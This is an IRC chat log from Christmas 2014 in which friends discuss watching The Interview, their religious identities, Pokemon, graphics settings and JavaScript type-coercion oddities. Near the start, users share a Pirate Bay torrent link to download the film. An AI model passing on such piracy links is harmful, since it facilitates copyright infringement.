[2014-12-24T23:02:53-0500] <+Tamini> very sketch
[2014-12-24T23:02:55-0500] <alokpathy> Tamini: Lol I'm at 14%
[2014-12-24T23:03:00-0500] <alokpathy> download it just in case, I guess.
[2014-12-24T23:03:10-0500] <+Tamini> why arent you torrenting it
[2014-12-24T23:05:36-0500] <+Tamini> nezorg: both are those are really freaking beautiful
[2014-12-24T23:05:36-0500] <alokpathy> Well, I found the download one first
[2014-12-24T23:05:39-0500] <+Tamini> and I want both of those
[2014-12-24T23:05:44-0500] <alokpathy> I probably should find a torrent
[2014-12-24T23:05:47-0500] <+Tamini> lol
[2014-12-24T23:06:24-0500] <alokpathy> Jesus Christ so many seeders
[2014-12-24T23:06:29-0500] <alokpathy> 22408
[2014-12-24T23:07:58-0500] <alokpathy> http://thepiratebay.cr/torrent/10069687/the-interview-2014-web-dl-xvid-mp3-rarbg-/
[2014-12-24T23:11:07-0500] <+Tamini> 2y5w
[2014-12-24T23:11:08-0500] <+Tamini> :P
[2014-12-24T23:14:34-0500] <+Tamini> so fast <3
[2014-12-24T23:23:50-0500] <+JacobEdelman> alokpathy: why should awe put up a global notice about christmas
[2014-12-24T23:23:53-0500] <+JacobEdelman> he's jewish
[2014-12-24T23:24:09-0500] <+JacobEdelman> in fact, about half of the voiced people/oped people are
[2014-12-24T23:24:22-0500] <alokpathy> JacobEdelman: I thought he was atheist. 
[2014-12-24T23:24:26-0500] <+JacobEdelman> also, the interview looks bad
[2014-12-24T23:24:27-0500] <+JacobEdelman> hes both
[2014-12-24T23:24:34-0500] <+JacobEdelman> I think
[2014-12-24T23:24:41-0500] <alokpathy> JacobEdelman: How can you be both?
[2014-12-24T23:24:49-0500] <+JacobEdelman> they are not mutually exclusive, I'm both
[2014-12-24T23:24:50-0500] <alokpathy> JacobEdelman: Also, The Interview seems funny.
[2014-12-24T23:24:56-0500] <+JacobEdelman> I don't belive in god, but I'm jewish
[2014-12-24T23:25:07-0500] <alokpathy> So you believe in the lifestyle?
[2014-12-24T23:25:12-0500] <+JacobEdelman> the interview is just about men, making low brow humor and farting at each other
[2014-12-24T23:25:29-0500] <+JacobEdelman> alokpathy: I belive in the traditions, the holidays, and especially the food
[2014-12-24T23:25:36-0500] <alokpathy> I see
[2014-12-24T23:25:39-0500] <+JacobEdelman> ben doesn't believe in god
[2014-12-24T23:25:45-0500] <+JacobEdelman> but he goes to services every week
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[2014-12-24T23:26:06-0500] <alokpathy> I'm watching the movie with Tamini if you want to join us.
[2014-12-24T23:26:10-0500] <+JacobEdelman> fine
[2014-12-24T23:26:14-0500] <alokpathy> And hm interesting.
[2014-12-24T23:26:19-0500] <alokpathy> JacobEdelman: http://thepiratebay.cr/torrent/10069687/the-interview-2014-web-dl-xvid-mp3-rarbg-/
[2014-12-24T23:26:35-0500] <alokpathy> It's 2 hours long
[2014-12-24T23:28:36-0500] <nezorg> Tamini: yes they are :33333
[2014-12-24T23:30:44-0500] <+JacobEdelman> I'm trying to get my little brothers computer to watch it on
[2014-12-24T23:30:47-0500] <+JacobEdelman> mine has problems
[2014-12-24T23:30:59-0500] <@awe> alokpathy: I can't opt out of Jewish culture.
[2014-12-24T23:31:02-0500] <@awe> alokpathy: It's a huge part of my life
[2014-12-24T23:31:14-0500] <+JacobEdelman> #JustJacobThings
[2014-12-24T23:31:24-0500] <+JacobEdelman> see
[2014-12-24T23:31:32-0500] <nezorg> I feel like I'm the only one here who's actually religious :P
[2014-12-24T23:31:38-0500] <+JacobEdelman> awe: are you both jewish and an atheist?
[2014-12-24T23:31:39-0500] <+Tamini> nezorg: you are?
[2014-12-24T23:31:40-0500] <+JacobEdelman> I'm religous
[2014-12-24T23:31:47-0500] <nezorg> Tamini: yup!
[2014-12-24T23:31:55-0500] <+JacobEdelman> just not strictly
[2014-12-24T23:32:00-0500] <+Tamini> nezorg: elaborate! (also wanna watch this movie with us)
[2014-12-24T23:32:03-0500] <+JacobEdelman> nezorg: mind if I ask for detials?
[2014-12-24T23:32:23-0500] <nezorg> Tamini: how are you watching it together?
[2014-12-24T23:32:27-0500] <@awe> JacobEdelman: I'm Jewish culturally/ethnically, and a humanist in terms of where I believe morality is derived.
[2014-12-24T23:32:30-0500] <nezorg> just syncing the time?
[2014-12-24T23:32:40-0500] <+JacobEdelman> awe: of course you couldn't give a simple answer
[2014-12-24T23:32:45-0500] <+JacobEdelman> alokpathy: told you so
[2014-12-24T23:32:56-0500] <alokpathy> I never said I didn't believe you.
[2014-12-24T23:33:06-0500] <@awe> Again, you can't opt out of culture.
[2014-12-24T23:33:10-0500] <nezorg> Tamini, JacobEdelman: I'm Lutheran and actually believe in it
[2014-12-24T23:33:17-0500] <nezorg> what else do you want to know?
[2014-12-24T23:33:36-0500] <@awe> I hope this doesn't turn out like the Jehovah's Witness in my other IRC.
[2014-12-24T23:33:43-0500] <@awe> Long story short, he quit forever.
[2014-12-24T23:33:44-0500] <+Tamini> nezorg: i have no idea how we're watching it together, we might be figuring this out
[2014-12-24T23:33:52-0500] <+Tamini> probably
[2014-12-24T23:33:59-0500] <+Tamini> also whoa
[2014-12-24T23:34:04-0500] <nezorg> too bad you guys don't have Rifts :(
[2014-12-24T23:34:08-0500] <alokpathy> Oh I was just thinking of pressing play at the same time
[2014-12-24T23:34:08-0500] <+Tamini> LOL
[2014-12-24T23:34:13-0500] <+Tamini> wow, just rub it in </3
[2014-12-24T23:34:18-0500] <nezorg> there's a thing for this for the rift
[2014-12-24T23:34:22-0500] <+Tamini> also we could like skype call with alok just typing or make a channel
[2014-12-24T23:34:47-0500] <alokpathy> #interview
[2014-12-24T23:34:55-0500] <nezorg> or I could continue playing pokemon on this 2ds I got
[2014-12-24T23:35:01-0500] <+Tamini> :P
[2014-12-24T23:35:04-0500] <+Tamini> wow are you choosing that over us
[2014-12-24T23:35:10-0500] <nezorg> :P
[2014-12-24T23:35:10-0500] <alokpathy> nezorg: </3
[2014-12-24T23:35:14-0500] <+Tamini> (also what distinguishes lutheranism from other sects again?)
[2014-12-24T23:35:23-0500] <alokpathy> MLK Jr.
[2014-12-24T23:35:29-0500] <nezorg> eh, not really sure :P
[2014-12-24T23:35:34-0500] <+JacobEdelman> okay
[2014-12-24T23:35:37-0500] <nezorg> it's generally on the more liberal side
[2014-12-24T23:35:39-0500] <+JacobEdelman> I'm on a good computer
[2014-12-24T23:36:04-0500] <+LittleBobbyTables> Mom goes to her BFs house and is like "yo, his internets being shit, what's wrong, dl is 45 Mb/s (even though she said MegaBytes... I wish) and ping is 23, and it's doing worse than ours at home, what's ours"
[2014-12-24T23:36:37-0500] <@awe> alokpathy: try again
[2014-12-24T23:36:38-0500] <+LittleBobbyTables> I say "1) use ethernet" which fixed it "and 2) dl is like 3 and upload isn't even 0.5, ping is like 80" and she's like "no that seems low, I'm paying 50 a month for it"
[2014-12-24T23:36:42-0500] <@awe> alokpathy: Martin Luther.
[2014-12-24T23:36:53-0500] <+LittleBobbyTables> me: holy fucking shit, I've been trying to say this for the past year and a half, mother.
[2014-12-24T23:37:00-0500] <+LittleBobbyTables> also
[2014-12-24T23:37:04-0500] <+LittleBobbyTables> who wants to buy me a modmic?
[2014-12-24T23:37:11-0500] <+LittleBobbyTables> they're like 35 bucks at the moment
[2014-12-24T23:37:14-0500] <alokpathy> awe: I know :P
[2014-12-24T23:37:18-0500] <alokpathy> I went through World History
[2014-12-24T23:40:02-0500] <+JacobEdelman> alokpathy: wait are we watching it now?
[2014-12-24T23:40:16-0500] <alokpathy> JacobEdelman: No, I'm waiting on you and Tamini 
[2014-12-24T23:40:21-0500] <+JacobEdelman> tonight?
[2014-12-24T23:40:25-0500] <+JacobEdelman> or tommorow
[2014-12-24T23:40:29-0500] <alokpathy> I thought tonight.
[2014-12-24T23:40:34-0500] <+JacobEdelman> fine
[2014-12-24T23:40:43-0500] <alokpathy> If this gets too late then maybe not
[2014-12-24T23:40:51-0500] <+JacobEdelman> okay, if we watch it tonight
[2014-12-24T23:40:58-0500] <+JacobEdelman> I'm only watching until 12:25
[2014-12-24T23:41:09-0500] <+JacobEdelman> I'm gonna set my computer to auto shut down after that
[2014-12-24T23:41:13-0500] <+Tamini> why
[2014-12-24T23:41:14-0500] <+Tamini> lol
[2014-12-24T23:42:01-0500] <+JacobEdelman> cause, I wanna make sure I sleep
[2014-12-24T23:42:06-0500] <+JacobEdelman> the timer is set
[2014-12-24T23:42:15-0500] <nezorg> guys
[2014-12-24T23:42:26-0500] <nezorg> treecko, torchik, or mudkip
[2014-12-24T23:42:33-0500] <nezorg> I typically go with fire type
[2014-12-24T23:42:35-0500] <+Tamini> torchik
[2014-12-24T23:42:37-0500] <@awe> treeco
[2014-12-24T23:42:37-0500] <+Tamini> 100%
[2014-12-24T23:42:38-0500] <+JacobEdelman> ps: I expect to give up on watching the movie in disgust after ike 5 inutes
[2014-12-24T23:42:42-0500] <+JacobEdelman> mudkip
[2014-12-24T23:42:42-0500] <+Tamini> wait i need to send you something
[2014-12-24T23:42:43-0500] <+Tamini> HOLD
[2014-12-24T23:42:43-0500] <@awe> Tamini is a torchic.
[2014-12-24T23:42:58-0500] <+JacobEdelman> mudkip looks the cutest
[2014-12-24T23:43:09-0500] <+Tamini> brb taking pic of computer screen
[2014-12-24T23:43:09-0500] <alokpathy> Uhh
[2014-12-24T23:43:19-0500] <alokpathy> I thought it was Torchic 
[2014-12-24T23:43:22-0500] <alokpathy> not Torchick
[2014-12-24T23:43:24-0500] <alokpathy> chik*
[2014-12-24T23:43:35-0500] <+Tamini> just look at that cute
[2014-12-24T23:43:40-0500] <nezorg> yeah it's a c
[2014-12-24T23:43:41-0500] <+Tamini> and it is i just copied his spelling
[2014-12-24T23:43:42-0500] <+Tamini> :P
[2014-12-24T23:43:47-0500] <nezorg> went with mudkip
[2014-12-24T23:43:52-0500] <+JacobEdelman> alokpathy: so, you gonna start tonight
[2014-12-24T23:44:07-0500] <+JacobEdelman> (I'll watch the first bit tonight if you'd like too)
[2014-12-24T23:44:17-0500] <+Tamini> wow you didnt wait to see my snap
[2014-12-24T23:44:19-0500] <+Tamini> :(
[2014-12-24T23:44:37-0500] <alokpathy> JacobEdelman: Probably start. At this rate, I don't think I'll finish tonight either.
[2014-12-24T23:44:46-0500] <+Tamini> yeah, JacobEdelman are you good?
[2014-12-24T23:45:10-0500] <+LittleBobbyTables> wait what are we watching?
[2014-12-24T23:45:14-0500] <+Tamini> wait guys do any of you remember the site
[2014-12-24T23:45:17-0500] <+Tamini> that had a bunch of open problems
[2014-12-24T23:45:19-0500] <+Tamini> in cs/math
[2014-12-24T23:45:21-0500] <+LittleBobbyTables> nezorg: depends, do you want an easy, medium, or hard game?
[2014-12-24T23:45:26-0500] <+Tamini> someone posted it i dont remember what it was
[2014-12-24T23:46:20-0500] <alokpathy> LittleBobbyTables: Tamini, JacobEdelman, and I are watching The Interview
[2014-12-24T23:46:30-0500] <+LittleBobbyTables> Seen it
[2014-12-24T23:46:35-0500] <@awe> It's shitty.
[2014-12-24T23:46:37-0500] <alokpathy> LittleBobbyTables: Was it good?
[2014-12-24T23:46:38-0500] <alokpathy> darn
[2014-12-24T23:46:40-0500] <alokpathy> lol
[2014-12-24T23:46:41-0500] <+LittleBobbyTables> It's glorious
[2014-12-24T23:46:41-0500] <jwoglom> is it decent/worth seeing?
[2014-12-24T23:46:42-0500] <+JacobEdelman> II thought so
[2014-12-24T23:46:45-0500] <@awe> It's Seth Rogen.
[2014-12-24T23:46:48-0500] <@awe> Of course it's shitty.
[2014-12-24T23:46:49-0500] <+JacobEdelman> well I'm being told to sleep soon
[2014-12-24T23:46:49-0500] <jwoglom> it definately seems to have gotten overhyped
[2014-12-24T23:46:57-0500] <+LittleBobbyTables> It's a great movie
[2014-12-24T23:46:57-0500] <+JacobEdelman> so I'm not gonna be watching it tonight
[2014-12-24T23:47:08-0500] <+JacobEdelman> gnight
[2014-12-24T23:47:13-0500] <+LittleBobbyTables> 100% better than Ted, and I loved Ted
[2014-12-24T23:47:19-0500] <nezorg> we got a nexus player
[2014-12-24T23:47:26-0500] <nezorg> so we might use that to watch it tonight
[2014-12-24T23:47:44-0500] <+LittleBobbyTables> nezorg
[2014-12-24T23:47:47-0500] <+LittleBobbyTables> go play a dota game
[2014-12-24T23:47:49-0500] <+LittleBobbyTables> I wanna watch you
[2014-12-24T23:47:53-0500] <alokpathy> JacobEdelman: G'night
[2014-12-24T23:48:09-0500] <nezorg> LittleBobbyTables: nah I suck
[2014-12-24T23:48:17-0500] <+LittleBobbyTables> I know
[2014-12-24T23:53:05-0500] <nezorg> LittleBobbyTables: I wonder if my graphics card can run dota at 4k
[2014-12-24T23:53:28-0500] <+LittleBobbyTables> I'm running it at 1440 with 200 frames
[2014-12-24T23:53:33-0500] <+LittleBobbyTables> all settings maxxed
[2014-12-24T23:53:47-0500] <nezorg> what card?
[2014-12-24T23:54:07-0500] <+LittleBobbyTables> 970
[2014-12-24T23:54:27-0500] <nezorg> ah, I have a 770
[2014-12-24T23:54:31-0500] <+LittleBobbyTables> It looked shitty at 4k dsr, so I went with 1440
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[2014-12-24T23:56:15-0500] <+LittleBobbyTables> If you're not doing DSR, don't run at higher than ~1440 res
[2014-12-24T23:56:33-0500] <+LittleBobbyTables> The HUD scales terrible and takes up most of your screen, so you can't see anything.
[2014-12-24T23:57:48-0500] <nezorg> even on a real 4k monitor?
[2014-12-24T23:58:08-0500] <+LittleBobbyTables> Yeah
[2014-12-24T23:58:49-0500] <+LittleBobbyTables> anyway, afk, watching Fringe
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[2014-12-25T00:14:09-0500] <+Tamini> whoa, ben was here?
[2014-12-25T00:19:01-0500] <@awe> Briefly.
[2014-12-25T01:05:06-0500] <+Tamini> aw, why didnt he stay
[2014-12-25T01:10:28-0500] <+Tamini> Merry christmas guys, btw.
[2014-12-25T01:10:50-0500] <hardmath123> Happy $HOLIDAY, folks.
[2014-12-25T01:11:11-0500] <+Tamini> happy halloween? :P
[2014-12-25T01:11:46-0500] <hardmath123> sheesh, someone needs to refresh their environment variables
[2014-12-25T01:12:02-0500] <+Tamini> heh
[2014-12-25T01:12:11-0500] <+Tamini> but oct31=dec25 amirite
[2014-12-25T01:12:21-0500] <hardmath123> We don't celebrate any post-november holidays, afaik.
[2014-12-25T01:12:37-0500] <+Tamini> its a puppyyy
[2014-12-25T01:12:40-0500] <hardmath123> ...
[2014-12-25T01:13:05-0500] <+Tamini> oh
[2014-12-25T01:13:08-0500] <+Tamini> wrong chat 
[2014-12-25T01:13:15-0500] <+Tamini> i'm sorta watching The Interview rn
[2014-12-25T01:34:27-0500] <+LittleBobbyTables> I need decent rainmeter skins.
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[2014-12-25T01:38:37-0500] <alokpathy> That movie LOL
[2014-12-25T01:38:43-0500] <alokpathy> oh yeah Merry Christmas
[2014-12-25T01:39:02-0500] <+Tamini> what the fuck did we just watch
[2014-12-25T01:39:32-0500] <alokpathy> You can see why Kim Jong-Un didn't really like it.
[2014-12-25T01:39:47-0500] <+Tamini> lolol
[2014-12-25T01:40:30-0500] <alokpathy> Alright welll I gotta sleep now XD
[2014-12-25T01:40:32-0500] <alokpathy> G'night
[2014-12-25T01:41:18-0500] <+Tamini> gnight
[2014-12-25T01:41:41-0500] <alokpathy> Merry Christmas.
[2014-12-25T01:41:43-0500] <alokpathy> Happy discounts.
[2014-12-25T01:45:49-0500] <+Tamini> hehe
[2014-12-25T01:45:52-0500] <+Tamini> boxing day!
[2014-12-25T01:45:58-0500] <+Tamini> thats coming up! :P
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[2014-12-25T02:22:05-0500] <+LittleBobbyTables> http://i.imgur.com/n3nhuVD.jpg
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[2014-12-25T10:37:04-0500] <+JacobEdelman> I have rearrived
[2014-12-25T10:38:06-0500] <alokpathy> Hello.
[2014-12-25T10:38:17-0500] <alokpathy> Tamini: and I watched The Interview last night.
[2014-12-25T10:38:31-0500] <alokpathy> It was weird at times xD
[2014-12-25T10:46:09-0500] <+JacobEdelman> the reviews made it sound really bad
[2014-12-25T10:46:13-0500] <+JacobEdelman> was it good at times?
[2014-12-25T10:46:29-0500] <+JacobEdelman> also, you should come over and watch star wars today
[2014-12-25T10:46:39-0500] <alokpathy> I have college apps.
[2014-12-25T10:46:48-0500] <alokpathy> We should have an HSCTF reunion and watch Star Wars.
[2014-12-25T10:46:52-0500] <alokpathy> Has Ernest seen it?
[2014-12-25T10:46:55-0500] <+JacobEdelman> no idea
[2014-12-25T10:47:04-0500] <alokpathy> Well, we should still have one.
[2014-12-25T10:47:04-0500] <+JacobEdelman> we should
[2014-12-25T10:47:07-0500] <+JacobEdelman> yes
[2014-12-25T10:47:18-0500] <alokpathy> Also, yeah, I think it was good at tiems.
[2014-12-25T10:47:23-0500] <+JacobEdelman> berger should be in the area
[2014-12-25T10:47:30-0500] <+JacobEdelman> ernest is too
[2014-12-25T10:47:33-0500] <alokpathy> I think Erniu Chest is too.
[2014-12-25T10:47:40-0500] <alokpathy> awe can drive up here nbd.
[2014-12-25T10:47:48-0500] <+JacobEdelman> whats nbd?
[2014-12-25T10:47:53-0500] <alokpathy> no big deal.
[2014-12-25T10:48:03-0500] <+JacobEdelman> ... are you joking?
[2014-12-25T10:48:12-0500] <alokpathy> Yes :P
[2014-12-25T10:48:17-0500] <alokpathy> Or we could watch The Imitation Game.
[2014-12-25T10:48:21-0500] <alokpathy> I heard that was good.
[2014-12-25T10:48:28-0500] <alokpathy> Or are we watching it with PACT?
[2014-12-25T11:02:44-0500] <+JacobEdelman> I don't know
[2014-12-25T11:02:47-0500] <+JacobEdelman> we do have to
[2014-12-25T11:02:50-0500] <+JacobEdelman> soon
[2014-12-25T11:02:55-0500] <+JacobEdelman> ben watched it already :(
[2014-12-25T11:02:59-0500] <+JacobEdelman> he said it was good
[2014-12-25T11:03:03-0500] <+JacobEdelman> not 100% accurate
[2014-12-25T11:03:06-0500] <+JacobEdelman> but still good
[2014-12-25T11:05:19-0500] <alokpathy> Nice nice
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[2014-12-25T11:53:03-0500] <alokpathy> Hello The_Master 
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[2014-12-25T13:58:37-0500] <+Tamini> ooh
[2014-12-25T13:58:46-0500] <+Tamini> movies
[2014-12-25T13:58:50-0500] <+Tamini> darn, why dont i live near you kids
[2014-12-25T14:00:29-0500] <+JacobEdelman> cause you refuse to move
[2014-12-25T14:00:32-0500] <+JacobEdelman> :P
[2014-12-25T14:01:59-0500] <+Tamini> lolol
[2014-12-25T14:02:06-0500] <+Tamini> hey the house next door is still empty
[2014-12-25T14:02:07-0500] <+Tamini> ;)
[2014-12-25T14:08:15-0500] <alokpathy> Both of my neighbors' houses were empty :P
[2014-12-25T14:10:04-0500] <+Tamini> emphasis on were
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[2014-12-25T14:16:23-0500] <alokpathy> Fine
[2014-12-25T14:18:44-0500] <+Tamini> <3
[2014-12-25T14:18:46-0500] <+Tamini> what are you doing today?
[2014-12-25T14:18:58-0500] <alokpathy> Cornell
[2014-12-25T14:21:03-0500] <+Tamini> lol
[2014-12-25T14:21:13-0500] <+Tamini> i love how we take it for granted that you're doing college apps
[2014-12-25T14:21:19-0500] <+Tamini> and you just immediately jump to which college
[2014-12-25T14:21:44-0500] <@awe> No, he's having sex with Cornell today.
[2014-12-25T14:24:52-0500] <+Tamini> heh
[2014-12-25T14:25:00-0500] <@awe> Guys.
[2014-12-25T14:25:02-0500] <@awe> true + true > true.
[2014-12-25T14:25:05-0500] <@awe> JavaScript told me.
[2014-12-25T14:25:27-0500] <@awe> Also, Math.min() is not less than Math.max().
[2014-12-25T14:28:59-0500] <+JacobEdelman> correct
[2014-12-25T14:29:04-0500] <+JacobEdelman> I mean, duh
[2014-12-25T14:29:09-0500] <+JacobEdelman> thats just how types work 
[2014-12-25T14:29:11-0500] <+JacobEdelman> :P
[2014-12-25T14:29:11-0500] <alokpathy> awe: Isn't that obvious?
[2014-12-25T14:29:23-0500] <@awe> "No, but trust me, this language is sane!"
[2014-12-25T14:29:36-0500] <alokpathy> true + true = 47 
[2014-12-25T14:29:41-0500] <alokpathy> true = 5
[2014-12-25T14:29:46-0500] <@awe> How do you even use a language where the minimum number is not less than the maximum number?
[2014-12-25T14:29:46-0500] <alokpathy> 47 > 5
[2014-12-25T14:30:02-0500] <+JacobEdelman> true/0-[]+{}
[2014-12-25T14:30:09-0500] <+JacobEdelman> can you guess what that is?
[2014-12-25T14:30:22-0500] <+JacobEdelman> Math.min returns the minimum number?
[2014-12-25T14:30:27-0500] <alokpathy> JacobEdelman: 7
[2014-12-25T14:30:28-0500] <+JacobEdelman> no
[2014-12-25T14:30:38-0500] <alokpathy> JacobEdelman: What is it?
[2014-12-25T14:30:41-0500] <+JacobEdelman> Math.min()= Math.min(undefined,undefined)
[2014-12-25T14:30:48-0500] <+JacobEdelman> 'Infinity[object Object]'
[2014-12-25T14:30:59-0500] <+JacobEdelman> thats true/0-[]+{}
[2014-12-25T14:31:02-0500] <+JacobEdelman> :P
[2014-12-25T14:31:09-0500] <alokpathy> dafuq
[2014-12-25T14:31:13-0500] <+JacobEdelman> (thats a string type)
[2014-12-25T14:31:26-0500] <+JacobEdelman> > []+{}
[2014-12-25T14:31:26-0500] <+JacobEdelman> '[object Object]'
[2014-12-25T14:31:26-0500] <+JacobEdelman> > []-{}
[2014-12-25T14:31:26-0500] <+JacobEdelman> NaN
[2014-12-25T14:31:36-0500] <+Tamini> oh wait there was a lecture on this
[2014-12-25T14:31:38-0500] <+JacobEdelman> :P
[2014-12-25T14:31:40-0500] <+JacobEdelman> yup
[2014-12-25T14:31:47-0500] <+JacobEdelman> wat by destroy all software
[2014-12-25T14:31:52-0500] <ubuntor_> ^
[2014-12-25T14:32:03-0500] <@awe> BECAUSE YOUR LANGUAGE IS A JOKE.
[2014-12-25T14:32:06-0500] <+JacobEdelman> awe: you see what I said about Math.min ?
[2014-12-25T14:32:09-0500] <+JacobEdelman> no
[2014-12-25T14:32:09-0500] <+Tamini> yeah 
[2014-12-25T14:32:11-0500] <+JacobEdelman> its awesome
[2014-12-25T14:32:18-0500] <+JacobEdelman> its the rest of the world that is broken
[2014-12-25T14:32:19-0500] <@awe> > typeof(Math.min())
[2014-12-25T14:32:19-0500] <@awe> 'number'
[2014-12-25T14:32:23-0500] <ubuntor_> also, the one about "iavascript"
[2014-12-25T14:32:24-0500] <+JacobEdelman> yes
[2014-12-25T14:32:26-0500] <@awe> > Math.min()
[2014-12-25T14:32:26-0500] <@awe> Infinity
[2014-12-25T14:32:27-0500] <@awe> Wat.
[2014-12-25T14:32:29-0500] <+Tamini> jaaacob
[2014-12-25T14:32:30-0500] <+JacobEdelman> yes
[2014-12-25T14:32:32-0500] <@awe> Infinity is not a number.
[2014-12-25T14:32:32-0500] <+Tamini> how do you remember that :P
[2014-12-25T14:32:33-0500] <+JacobEdelman> infinity is a number
[2014-12-25T14:32:34-0500] <+JacobEdelman> duh
[2014-12-25T14:32:39-0500] <+JacobEdelman> remember what?
[2014-12-25T14:32:57-0500] <ubuntor_> remember wat?
[2014-12-25T14:33:01-0500] <@awe> > Math.max()
[2014-12-25T14:33:01-0500] <@awe> -Infinity
[2014-12-25T14:33:01-0500] <@awe> > Math.min()
[2014-12-25T14:33:01-0500] <@awe> Infinity
[2014-12-25T14:33:02-0500] <@awe> Literally, what?
[2014-12-25T14:33:27-0500] <@awe> > Math.min() > Math.max()
[2014-12-25T14:33:27-0500] <@awe> true
[2014-12-25T14:33:28-0500] <+JacobEdelman> 1*([]+3+2)
[2014-12-25T14:33:30-0500] <ubuntor_> it works when you use them with arguments :P
[2014-12-25T14:33:31-0500] <+JacobEdelman> thats 32
[2014-12-25T14:33:32-0500] <@awe> .-.
[2014-12-25T14:33:33-0500] <+JacobEdelman> the number
[2014-12-25T14:33:35-0500] <+JacobEdelman> not the string
[2014-12-25T14:33:48-0500] <@awe> > [] + 3 + 2
[2014-12-25T14:33:48-0500] <@awe> '32'
[2014-12-25T14:33:52-0500] <+JacobEdelman> yes
[2014-12-25T14:33:56-0500] <+JacobEdelman> 1* a string is a number
[2014-12-25T14:33:57-0500] <@awe> > 1 * ([] + 3 + 2)
[2014-12-25T14:33:57-0500] <@awe> 32
[2014-12-25T14:33:57-0500] <+JacobEdelman> duh
[2014-12-25T14:34:06-0500] <@awe> I seriously don't understand how you can use this.
[2014-12-25T14:34:06-0500] <+JacobEdelman> :P
[2014-12-25T14:34:10-0500] <+JacobEdelman> :)
[2014-12-25T14:34:16-0500] <+JacobEdelman> I've written several hundred lines
[2014-12-25T14:34:18-0500] <@awe> I don't understand how you can look at this and say "I'm going to use this language."
[2014-12-25T14:34:20-0500] <+JacobEdelman> without any major problems
[2014-12-25T14:34:24-0500] <+JacobEdelman> :)
[2014-12-25T14:34:24-0500] <ubuntor_> it
[2014-12-25T14:34:31-0500] <ubuntor_> it's fun to point and laugh at
[2014-12-25T14:34:41-0500] <@awe> Right, ubuntor_, but I wouldn't wish writing it on my worst enemy.
[2014-12-25T14:35:02-0500] <jwoglom> javascript is special
[2014-12-25T14:35:07-0500] <ubuntor_> http://wtfjs.com/
[2014-12-25T14:37:15-0500] <+JacobEdelman> to fix js to pretend everything is a string
[2014-12-25T14:37:33-0500] <+JacobEdelman> thats the biggest type thing that happens, something becoming a string when it shouldn't be
[2014-12-25T14:37:41-0500] <+JacobEdelman> judicious use of === solves most problems
[2014-12-25T14:38:03-0500] <+Tamini> i feel like thats just
[2014-12-25T14:38:06-0500] <+Tamini> not a good thing
[2014-12-25T14:38:11-0500] <+Tamini> even though you make it sound like it is
[2014-12-25T14:38:13-0500] <+JacobEdelman> it isn't
[2014-12-25T14:38:28-0500] <+JacobEdelman> but still
[2014-12-25T14:38:33-0500] <+JacobEdelman> I mean english doesn't make sense
[2014-12-25T14:38:38-0500] <+JacobEdelman> so why should js?
[2014-12-25T14:38:51-0500] <@awe> English makes more sense than JS.
[2014-12-25T14:38:54-0500] <@awe> And that's not really a good defense.
[2014-12-25T14:38:57-0500] <+JacobEdelman> at least when js doesn't make sense you can generally say "why am I doing that weird thing"
[2014-12-25T14:39:02-0500] <+JacobEdelman> no it doesn't
[2014-12-25T14:39:26-0500] <+JacobEdelman> am I the only js fan here ?
[2014-12-25T14:39:56-0500] <jwoglom> I like javascript
[2014-12-25T14:40:06-0500] <+JacobEdelman> yeah!
[2014-12-25T14:40:07-0500] <jwoglom> i mean it's not like there are any other options on frontend web development
[2014-12-25T14:40:15-0500] <jwoglom> you've just got to learn the weird quirks
[2014-12-25T14:40:21-0500] <+JacobEdelman> ... its also nice for backends...
[2014-12-25T14:40:22-0500] <@awe> jwoglom: Does that mean you like the language or you like being able to do web dev?
[2014-12-25T14:40:23-0500] <+JacobEdelman> node.js is nice
[2014-12-25T14:40:43-0500] <+JacobEdelman> it has a very good ecosystem
[2014-12-25T14:40:45-0500] <jwoglom> awe: i think the language has its uses
[2014-12-25T14:40:55-0500] <+JacobEdelman> ... I feel alone
[2014-12-25T14:40:59-0500] <@awe> Yeah, introducing ten year olds to programming.
[2014-12-25T14:41:39-0500] <+JacobEdelman> no 
[2014-12-25T14:41:43-0500] <+JacobEdelman> thats why python is for
[2014-12-25T14:41:50-0500] <@awe> Python and JS are both good for that.
[2014-12-25T14:42:17-0500] <jwoglom> yep
[2014-12-25T14:43:14-0500] <@awe> Primarily because younger kids get frustrated by error messages.
[2014-12-25T14:44:44-0500] <@awe> But seriously, JacobEdelman, you're deeply stunting growth in your ability to program by refusing to use a language that differs substantially from the scripted-dynamic-everything camp.
[2014-12-25T14:45:04-0500] <@awe> jwoglom: what's your favorite language?
[2014-12-25T14:45:15-0500] <jwoglom> awe: probably python
[2014-12-25T14:45:25-0500] <@awe> ubuntor_: what about you?
[2014-12-25T14:45:32-0500] <jwoglom> i still don't know it amazingly well, i've been sort of learning it over the past year and a half
[2014-12-25T14:45:33-0500] <ubuntor_> hm
[2014-12-25T14:45:47-0500] <ubuntor_> either python or c
[2014-12-25T14:46:05-0500] <ubuntor_> former because it's quick, latter because speed and vulnerabilities
[2014-12-25T14:46:19-0500] <alokpathy> ubuntor_: You like C because of vulnerabilities?
[2014-12-25T14:46:22-0500] <@awe> It's fun.
[2014-12-25T14:46:24-0500] <ubuntor_> well, it's fun
[2014-12-25T14:46:41-0500] <alokpathy> Lol, fun the exploit, idk about fun to write.
[2014-12-25T14:46:46-0500] <ubuntor_> ^
[2014-12-25T14:46:46-0500] <@awe> It depends.
[2014-12-25T14:47:06-0500] <@awe> If your goal is good software, C is as bad to write as JS.
[2014-12-25T14:47:14-0500] <@awe> But if your goal is something quick and dirty, it's as good to write as JS.
[2014-12-25T14:47:37-0500] <@awe> Actually, if your goal is good software, C might be worse just because there's more checks that you have to write.
[2014-12-25T14:48:03-0500] <@awe> C doesn't have as many gotchas though.
[2014-12-25T14:48:22-0500] <ubuntor_> i'm considering either learning rust or go
[2014-12-25T14:48:28-0500] <@awe> At least, not until you get into some complex memory issues.
[2014-12-25T14:48:41-0500] <ubuntor_> or C++ if i can unlearn C
[2014-12-25T14:48:42-0500] <@awe> I don't understand why there's this weird dichotomy between Rust and Go.
[2014-12-25T14:48:53-0500] <@awe> Everyone seems to be learning one or the other.
[2014-12-25T14:49:00-0500] <@awe> Or choosing between learning them.
[2014-12-25T14:49:04-0500] <@awe> But they're fundamentally different.
[2014-12-25T14:49:39-0500] <ubuntor_> hm
[2014-12-25T14:50:04-0500] <@awe> I've heard people describe Go as being a language that compiles native binaries.
[2014-12-25T14:50:10-0500] <@awe> But it does that in the same way that Haskell does: there's a runtime.
[2014-12-25T14:50:41-0500] <@awe> Go is never going to be as performant as Rust or C++ or D because it's not based on zero-cost abstractions.
[2014-12-25T14:50:48-0500] <+JacobEdelman> gtg
[2014-12-25T14:51:09-0500] <@awe> It's an interesting language, I suppose, but I think OCaml is a better option if you want a fast language with a runtime.
